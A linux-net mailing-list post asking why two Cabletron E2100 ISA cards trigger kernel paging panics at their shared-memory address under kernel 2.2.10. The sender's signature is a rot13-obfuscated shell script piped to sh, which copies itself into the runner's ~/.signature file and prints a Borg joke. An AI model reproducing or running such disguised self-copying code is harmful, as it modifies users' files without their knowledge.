Hello,
I'm having some interesting difficulties with 2 Cabletron cards I picked up
recently...

(I apologize in advance for the lengh of this message: ~2.7k)

After obtaining both cards for a total of $5 (US), I realized that they had no
identification on them, save the part numbers (9000342-03 and 9000342-04). The
2 boards have the same layout-- the only differences are in the substitution of
transistor types in a couple places, and some brand name differences in some of
the smaller chips. 

So, I put them into a Win95 machine to see if they would be recognized. Sure
enough, they were. I got one of them working ok with a Cabletron E2100 driver.
The other one didn't seem to work at all (it crashed Windows), and the
Cabletron E2100 DOS diagnostic program indicated that it wasn't generating
IRQs.

I then tried the cards 1 by 1 in my linux box (an IBM PS/Valuepoint, model
6382-M30... it's a 486 with 3 ISA slots), using the DOS diagnostics. Both seemed
to function flawlessly using any available IRQ, io, or mem values. 

I then booted linux (kernel 2.2.10), and loaded the e2100 module with values
irq=11 (a free IRQ), io=0x380 (as specified by jumpers on card), and
mem=0xd0000 (this is the default for the linux e2100 driver). The module
inserted successfully. ifconfig eth0 confirmed that all was well. I was even
able to bring up interface eth0, thus assigning it an IP address. 

However, this is where the honeymoon ends: as soon as the kernel attempts to
access the shared memory used by the card (either by trying to send traffic
over eth0, by adding routes involving eth0, or by simply waiting a bit),
disaster strikes. The kernel panics, with an "Unable to handle kernel paging
request at address 0xd0000" (or something along those lines), followed by
some debugging info. The machine must be powered off and then back on to reset
it.

I tried it with the other Cabletron card, with the exact same result. I then
tried varying irq, io, and mem values. Changing irq and io had no effect,
though changing mem altered the panic message: for example, using address
0xf0000 would cause a kernel paging failure at 0xf0000 instead of 0xd0000 (this
goes for all mem addresses allowed by the card).

FYI, I've used another 8390-based card/driver (ne2000) on this hardware with 
this kernel, successfully.

I would very much appreciate any insight anyone can offer with this problem, as
I would really like to get these cards working.

Thank you,
John Burg
-- 
#!/bin/sh -                                                                     
set - `type $0` 'tr "[a-zA-Z]" "[n-za-mN-ZA-M]"';while [ "$2" != "" ];do \      
shift;done; echo 'frq -a -rc '`echo "$0"| $1 `'>$UBZR/.`rpub signature|'`\      
echo $1|$1`'`;rpub "Jr ner fvtangher bs obet. Erfvfgnapr vf shgvyr!"'|$1|sh     
-
To unsubscribe from this list: send the line "unsubscribe linux-net" in
the body of a message to [EMAIL PROTECTED]

Reply via email to